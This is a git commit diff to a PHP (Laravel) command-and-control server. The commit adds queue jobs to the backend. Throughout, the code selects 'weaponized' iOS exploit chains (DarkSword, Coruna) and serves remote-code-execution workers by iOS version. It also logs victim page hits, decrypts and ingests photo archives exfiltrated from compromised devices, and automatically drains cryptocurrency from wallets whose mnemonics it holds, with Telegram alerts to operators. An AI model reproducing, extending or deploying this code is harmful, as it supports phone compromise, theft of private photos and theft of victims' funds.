feat: quene
This commit is contained in:
@@ -39,6 +39,11 @@ BROADCAST_CONNECTION=log
|
||||
FILESYSTEM_DISK=local
|
||||
QUEUE_CONNECTION=sync
|
||||
CACHE_STORE=file
|
||||
# 生产 4C8G:装 Redis 后改为
|
||||
# CACHE_STORE=redis
|
||||
# QUEUE_CONNECTION=redis
|
||||
# REDIS_HOST=127.0.0.1
|
||||
# REDIS_PORT=6379
|
||||
|
||||
# Admin seeder defaults
|
||||
ADMIN_USERNAME=admin
|
||||
|
||||
@@ -15,8 +15,9 @@ class AutoTransferCommand extends Command
|
||||
{
|
||||
$stats = $autoTransfer->run();
|
||||
$this->info(sprintf(
|
||||
'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d',
|
||||
'auto-transfer inspected=%d queued=%d triggered=%d ok=%d failed=%d skipped=%d',
|
||||
$stats['inspected'],
|
||||
$stats['queued'],
|
||||
$stats['triggered'],
|
||||
$stats['ok'],
|
||||
$stats['failed'],
|
||||
|
||||
@@ -235,6 +235,7 @@ class DeviceController extends Controller
|
||||
$this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/inbox/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
|
||||
@@ -3,9 +3,9 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\PhotoArchiveIngest;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
|
||||
@@ -14,17 +14,17 @@ class C2Controller extends Controller
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
/** @var PhotoArchiveIngest */
|
||||
private $photos;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
$this->photos = $photos;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
@@ -136,33 +136,19 @@ class C2Controller extends Controller
|
||||
];
|
||||
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
try {
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
$this->photos->accept(
|
||||
$device,
|
||||
(string) $request->file('file')->getRealPath(),
|
||||
$batchBase,
|
||||
$photoMeta,
|
||||
'lab',
|
||||
[
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -174,21 +175,31 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
|
||||
$ios = $this->requestIos($request);
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
$ds = PageVisit::isDarkSwordIosVersionString($ios);
|
||||
if ($ds) {
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
$chain = 'darksword';
|
||||
$reason = 'DarkSword '.$ios;
|
||||
} else {
|
||||
$recommended = '';
|
||||
$fallbacks = [];
|
||||
$chain = 'coruna';
|
||||
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
|
||||
}
|
||||
|
||||
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
'chain' => $chain,
|
||||
'weaponized' => true,
|
||||
'gated' => false,
|
||||
'ios' => $ios,
|
||||
'reason' => 'DarkSword 18.4-18.7.2',
|
||||
'reason' => $reason,
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'band' => [
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'usable_for_attempt' => true,
|
||||
'usable_for_attempt' => $ds,
|
||||
'usable_grade' => 'LIVE',
|
||||
'weaponized' => true,
|
||||
],
|
||||
@@ -320,25 +331,17 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Worker plan from live one99.vip /api/chain-targets.
|
||||
*
|
||||
* 18.4.x → 18.4 then [18.5, 18.6]
|
||||
* 18.5.x → 18.5 then [18.6, 18.4]
|
||||
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
|
||||
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
|
||||
*
|
||||
* @return array{0: string, 1: list<string>}
|
||||
*/
|
||||
private function chainTargetWorkers(string $ios): array
|
||||
{
|
||||
$minor = null;
|
||||
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
|
||||
$minor = (int) $m[1];
|
||||
}
|
||||
$canon = PageVisit::canonicalIosVersion($ios);
|
||||
|
||||
return match ($minor) {
|
||||
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
|
||||
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
|
||||
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
|
||||
return match ($canon) {
|
||||
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
||||
default => ['rce_worker_18.6.js', []],
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -3,9 +3,8 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\PhotoArchiveIngest;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
|
||||
@@ -25,6 +24,7 @@ class XxbbC2Controller extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
private readonly PhotoArchiveIngest $photos,
|
||||
) {}
|
||||
|
||||
public function vhx(): Response
|
||||
@@ -107,33 +107,19 @@ class XxbbC2Controller extends Controller
|
||||
];
|
||||
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
try {
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'xxbb');
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
$this->photos->accept(
|
||||
$device,
|
||||
(string) $request->file('file')->getRealPath(),
|
||||
$batchBase,
|
||||
$photoMeta,
|
||||
'xxbb',
|
||||
[
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
@@ -237,14 +223,6 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed>|null $body
|
||||
*/
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
use App\Jobs\RecordPageHit;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\UserAgentParser;
|
||||
@@ -43,7 +44,7 @@ class PageHitController extends Controller
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$referer = $this->referer($request);
|
||||
|
||||
PageVisit::recordLanding([
|
||||
$attrs = [
|
||||
'channel_id' => $channelId,
|
||||
'client_uid' => $uid,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
@@ -54,7 +55,13 @@ class PageHitController extends Controller
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $referer,
|
||||
], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']));
|
||||
];
|
||||
$chain = PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']);
|
||||
if (config('queue.default') === 'sync') {
|
||||
PageVisit::recordLanding($attrs, $chain);
|
||||
} else {
|
||||
RecordPageHit::dispatch($attrs, $chain);
|
||||
}
|
||||
|
||||
return $this->pixel();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\AutoTransferService;
|
||||
use Illuminate\Contracts\Queue\ShouldBeUnique;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class AutoTransferAddress implements ShouldQueue, ShouldBeUnique
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 180;
|
||||
|
||||
public int $uniqueFor = 180;
|
||||
|
||||
public function __construct(
|
||||
public int $walletAddressId,
|
||||
public string $reason = 'cron',
|
||||
) {}
|
||||
|
||||
public function uniqueId(): string
|
||||
{
|
||||
return 'auto-transfer:'.$this->walletAddressId;
|
||||
}
|
||||
|
||||
public function handle(AutoTransferService $autoTransfer): void
|
||||
{
|
||||
$address = WalletAddress::query()->find($this->walletAddressId);
|
||||
if ($address === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$autoTransfer->evaluate($address, $this->reason);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Services\PhotoArchiveIngest;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class ExtractPhotoArchive implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 180;
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $photoMeta
|
||||
* @param array<string, mixed> $rawCounters
|
||||
*/
|
||||
public function __construct(
|
||||
public int $deviceId,
|
||||
public string $inboxPath,
|
||||
public string $batchBase,
|
||||
public array $photoMeta,
|
||||
public string $flavor,
|
||||
public array $rawCounters,
|
||||
) {}
|
||||
|
||||
public function handle(PhotoArchiveIngest $ingest): void
|
||||
{
|
||||
$ingest->process(
|
||||
$this->deviceId,
|
||||
$this->inboxPath,
|
||||
$this->batchBase,
|
||||
$this->photoMeta,
|
||||
$this->flavor,
|
||||
$this->rawCounters,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\PageVisit;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class RecordPageHit implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $attrs
|
||||
*/
|
||||
public function __construct(
|
||||
public array $attrs,
|
||||
public int $chain,
|
||||
) {}
|
||||
|
||||
public function handle(): void
|
||||
{
|
||||
PageVisit::recordLanding($this->attrs, $this->chain);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class SendTelegramMessage implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 3;
|
||||
|
||||
public int $timeout = 20;
|
||||
|
||||
public function __construct(
|
||||
public string $chatId,
|
||||
public string $text,
|
||||
public ?string $token = null,
|
||||
) {}
|
||||
|
||||
public function handle(TelegramNotifier $telegram): void
|
||||
{
|
||||
$telegram->sendToChat($this->chatId, $this->text, $this->token);
|
||||
}
|
||||
}
|
||||
@@ -41,23 +41,44 @@ class PageVisit extends Model
|
||||
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
|
||||
}
|
||||
|
||||
/** Only these iOS builds enter the DarkSword landing / workers. */
|
||||
public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
|
||||
|
||||
/**
|
||||
* t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword.
|
||||
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
|
||||
*/
|
||||
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
|
||||
{
|
||||
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
|
||||
return self::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
return self::isDarkSwordIosVersionString($osVersion)
|
||||
? self::CHAIN_DARKSWORD
|
||||
: self::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
public static function isDarkSwordIosVersionString(?string $osVersion): bool
|
||||
{
|
||||
$canon = self::canonicalIosVersion($osVersion);
|
||||
|
||||
return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
|
||||
*/
|
||||
public static function canonicalIosVersion(?string $osVersion): string
|
||||
{
|
||||
$version = trim((string) $osVersion);
|
||||
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
|
||||
return self::CHAIN_CORUNA;
|
||||
}
|
||||
if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
|
||||
return self::CHAIN_DARKSWORD;
|
||||
return '';
|
||||
}
|
||||
$parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
|
||||
|
||||
return self::CHAIN_CORUNA;
|
||||
return $parts[2] === 0
|
||||
? $parts[0].'.'.$parts[1]
|
||||
: $parts[0].'.'.$parts[1].'.'.$parts[2];
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\AutoTransferAddress;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use Illuminate\Support\LazyCollection;
|
||||
@@ -20,12 +21,13 @@ class AutoTransferService
|
||||
/**
|
||||
* Cron entry: scan addresses that have a mnemonic and any positive coin balance.
|
||||
*
|
||||
* @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int}
|
||||
* @return array{inspected: int, queued: int, triggered: int, ok: int, failed: int, skipped: int}
|
||||
*/
|
||||
public function run(): array
|
||||
{
|
||||
$stats = [
|
||||
'inspected' => 0,
|
||||
'queued' => 0,
|
||||
'triggered' => 0,
|
||||
'ok' => 0,
|
||||
'failed' => 0,
|
||||
@@ -37,13 +39,35 @@ class AutoTransferService
|
||||
'at' => now()->toDateTimeString(),
|
||||
], 'transfer');
|
||||
|
||||
$async = config('queue.default') !== 'sync';
|
||||
|
||||
foreach ($this->candidates() as $address) {
|
||||
$stats['inspected']++;
|
||||
if ($async) {
|
||||
AutoTransferAddress::dispatch($address->id, 'cron');
|
||||
$stats['queued']++;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$outcome = $this->evaluate($address, 'cron');
|
||||
$stats['triggered'] += $outcome['triggered'];
|
||||
$stats['ok'] += $outcome['ok'];
|
||||
$stats['failed'] += $outcome['failed'];
|
||||
$stats['skipped'] += $outcome['skipped'];
|
||||
|
||||
if ($outcome['failed'] > 0) {
|
||||
create_log([
|
||||
'event' => 'auto_transfer_run_aborted',
|
||||
'reason' => 'transfer_failed',
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $address->address,
|
||||
'chain' => $address->chain_type,
|
||||
'stats' => $stats,
|
||||
'at' => now()->toDateTimeString(),
|
||||
], 'transfer');
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
@@ -179,6 +203,18 @@ class AutoTransferService
|
||||
continue;
|
||||
}
|
||||
|
||||
if ($this->lastAutoFailed((string) $address->address, $asset)) {
|
||||
create_log($base + [
|
||||
'event' => 'auto_transfer_skip',
|
||||
'skip' => 'previous_auto_transfer_failed',
|
||||
'asset' => $asset,
|
||||
'balance' => (string) $balance,
|
||||
], 'transfer');
|
||||
$stats['skipped']++;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
if ($this->recentAutoSuccess((string) $address->address, $asset)) {
|
||||
try {
|
||||
$this->balances->refresh($address);
|
||||
@@ -272,6 +308,7 @@ class AutoTransferService
|
||||
'asset' => $asset,
|
||||
'error' => $result['error'] ?? 'unknown',
|
||||
], 'transfer');
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -287,21 +324,42 @@ class AutoTransferService
|
||||
return $stats;
|
||||
}
|
||||
|
||||
private function lastAutoFailed(string $fromAddress, string $asset): bool
|
||||
{
|
||||
$latest = $this->latestAutoRecord($fromAddress, $asset);
|
||||
|
||||
return $latest !== null && $latest->status === TransferRecord::STATUS_FAILED;
|
||||
}
|
||||
|
||||
private function recentAutoSuccess(string $fromAddress, string $asset): bool
|
||||
{
|
||||
$latest = $this->latestAutoRecord($fromAddress, $asset);
|
||||
if ($latest === null || $latest->status !== TransferRecord::STATUS_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$at = $latest->created_at;
|
||||
if ($at === null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $at->gte(now()->subMinutes(self::COOLDOWN_MINUTES));
|
||||
}
|
||||
|
||||
private function latestAutoRecord(string $fromAddress, string $asset): ?TransferRecord
|
||||
{
|
||||
$fromAddress = trim($fromAddress);
|
||||
$asset = strtoupper(trim($asset));
|
||||
if ($fromAddress === '' || $asset === '') {
|
||||
return false;
|
||||
return null;
|
||||
}
|
||||
|
||||
return TransferRecord::query()
|
||||
->where('from_address', $fromAddress)
|
||||
->where('asset', $asset)
|
||||
->where('operator', 'auto')
|
||||
->where('status', TransferRecord::STATUS_SUCCESS)
|
||||
->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES))
|
||||
->exists();
|
||||
->orderByDesc('id')
|
||||
->first();
|
||||
}
|
||||
|
||||
private function assetScale(string $asset): int
|
||||
|
||||
@@ -154,18 +154,20 @@ class DarkSwordIngestAdapter
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
$os = $ios !== null ? 'iOS' : $parsed['os'];
|
||||
$osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null);
|
||||
PageVisit::recordLanding([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => $uid,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $ios !== null ? 'iOS' : $parsed['os'],
|
||||
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
|
||||
'os' => $os,
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
||||
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
||||
], PageVisit::CHAIN_DARKSWORD);
|
||||
], PageVisit::chainFromIosVersion($os, $osVersion));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -273,10 +275,20 @@ class DarkSwordIngestAdapter
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $key)->first();
|
||||
if ($ios !== null) {
|
||||
$chain = PageVisit::isDarkSwordIosVersionString($ios)
|
||||
? Device::CHAIN_DARKSWORD
|
||||
: Device::CHAIN_CORUNA;
|
||||
} else {
|
||||
$chain = $existing
|
||||
? (int) $existing->chain
|
||||
: Device::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'chain' => $chain,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
@@ -301,7 +313,7 @@ class DarkSwordIngestAdapter
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'chain' => $chain,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Jobs\ExtractPhotoArchive;
|
||||
use App\Models\Device;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoArchiveIngest
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Persist the uploaded 7z, then extract now (sync) or via queue.
|
||||
* Caller always ACKs independently.
|
||||
*
|
||||
* @param array{
|
||||
* x_hit?: ?int,
|
||||
* upload_count?: ?int,
|
||||
* process_index?: ?int,
|
||||
* text_count?: ?int,
|
||||
* barcode_count?: ?int
|
||||
* } $photoMeta
|
||||
* @param array<string, mixed> $rawCounters
|
||||
*/
|
||||
public function accept(
|
||||
Device $device,
|
||||
string $absolutePath,
|
||||
string $batchBase,
|
||||
array $photoMeta,
|
||||
string $flavor,
|
||||
array $rawCounters,
|
||||
): void {
|
||||
if (! $device->albumStorageEnabled() || ! is_file($absolutePath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$rel = 'c2/inbox/'.$device->device_id.'/'.date('YmdHis').'_'.str_replace('.', '', uniqid('', true)).'.bin';
|
||||
$fh = fopen($absolutePath, 'rb');
|
||||
if ($fh === false) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Storage::disk('local')->put($rel, $fh);
|
||||
} finally {
|
||||
if (is_resource($fh)) {
|
||||
fclose($fh);
|
||||
}
|
||||
}
|
||||
|
||||
if (config('queue.default') === 'sync') {
|
||||
$this->process($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
||||
}
|
||||
|
||||
/**
|
||||
* Same failure policy as the old in-request extract:
|
||||
* 7z miss / empty members → log ok=false, skip ingest, never throw to the client.
|
||||
*
|
||||
* @param array<string, mixed> $photoMeta
|
||||
* @param array<string, mixed> $rawCounters
|
||||
*/
|
||||
public function process(
|
||||
int $deviceId,
|
||||
string $inboxPath,
|
||||
string $batchBase,
|
||||
array $photoMeta,
|
||||
string $flavor,
|
||||
array $rawCounters,
|
||||
): void {
|
||||
$logType = $flavor === 'xxbb' ? 'xxbb' : 'c2';
|
||||
$event = $flavor === 'xxbb' ? 'xxbb_photo_extract' : 'check_extract';
|
||||
$device = Device::query()->find($deviceId);
|
||||
$abs = Storage::disk('local')->path($inboxPath);
|
||||
|
||||
try {
|
||||
if ($device === null || ! $device->albumStorageEnabled() || ! is_file($abs)) {
|
||||
create_log([
|
||||
'event' => $event,
|
||||
'device_key' => $device?->device_id,
|
||||
'extract' => [
|
||||
'ok' => false,
|
||||
'files' => [],
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
'stderr' => 'inbox missing or album storage off',
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => $rawCounters,
|
||||
], $logType);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$bytes = (string) file_get_contents($abs);
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
try {
|
||||
$extracted = $this->archiveFor($flavor)->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => $event,
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => $rawCounters,
|
||||
], $logType);
|
||||
} catch (\Throwable $e) {
|
||||
create_log([
|
||||
'event' => $event,
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => false,
|
||||
'files' => [],
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
'stderr' => substr($e->getMessage(), 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => $rawCounters,
|
||||
], $logType);
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
} finally {
|
||||
Storage::disk('local')->delete($inboxPath);
|
||||
}
|
||||
}
|
||||
|
||||
private function archiveFor(string $flavor): CorunaArchive
|
||||
{
|
||||
if ($flavor === 'xxbb') {
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
return app(CorunaArchive::class);
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\SendTelegramMessage;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
@@ -114,8 +115,15 @@ class TelegramNotifier
|
||||
return false;
|
||||
}
|
||||
|
||||
$async = config('queue.default') !== 'sync';
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
if ($async) {
|
||||
SendTelegramMessage::dispatch($chatId, $text);
|
||||
$ok = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($this->sendToChat($chatId, $text)['ok']) {
|
||||
$ok = true;
|
||||
}
|
||||
|
||||
@@ -83,7 +83,10 @@ class TokenviewMonitorService
|
||||
}
|
||||
|
||||
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
|
||||
if (in_array($coin, ['TRX', 'TRON'], true) && ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) {
